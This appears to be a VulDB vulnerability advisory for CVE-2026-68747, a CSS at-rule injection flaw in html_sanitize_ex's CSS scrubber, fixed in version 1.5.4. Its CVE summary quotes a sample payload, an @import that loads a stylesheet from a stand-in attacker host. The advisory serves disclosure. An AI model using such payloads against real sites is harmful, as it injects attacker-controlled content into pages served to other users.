rrrene html_sanitize_ex up to 1.5.3 CSS scrubber HtmlSanitizeEx.Scrubber.CSS.scrub neutralization

Summaryinfo

A vulnerability labeled as critical has been found in rrrene html_sanitize_ex up to 1.5.3. This impacts the function HtmlSanitizeEx.Scrubber.CSS.scrub of the component CSS scrubber. Such manipulation leads to neutralization. This vulnerability is listed as CVE-2026-68747. The attack may be performed from remote. There is no available exploit.

Detailsinfo

A vulnerability was found in rrrene html_sanitize_ex up to 1.5.3. It has been rated as critical. Affected by this issue is the function HtmlSanitizeEx.Scrubber.CSS.scrub of the component CSS scrubber. The manipulation with an unknown input leads to a neutralization vulnerability. Using CWE to declare the problem leads to CWE-707. The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component. Impacted is confidentiality, integrity, and availability. CVE summarizes:

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.

The advisory is shared for download at github.com. This vulnerability is handled as CVE-2026-68747 since 07/31/2026. The exploitation is known to be easy. The attack may be launched remotely. No form of authentication is required for exploitation. There are known technical details, but no exploit is available.

Upgrading to version 1.5.4 eliminates this vulnerability.

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Vendor

• rrrene

Name

• html_sanitize_ex

Version

• 1.5.0
• 1.5.1
• 1.5.2
• 1.5.3

Website

• Product: https://github.com/rrrene/html_sanitize_ex/

CPE 2.3info

• 🔒
• 🔒
• 🔒

CPE 2.2info

• 🔒
• 🔒
• 🔒

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion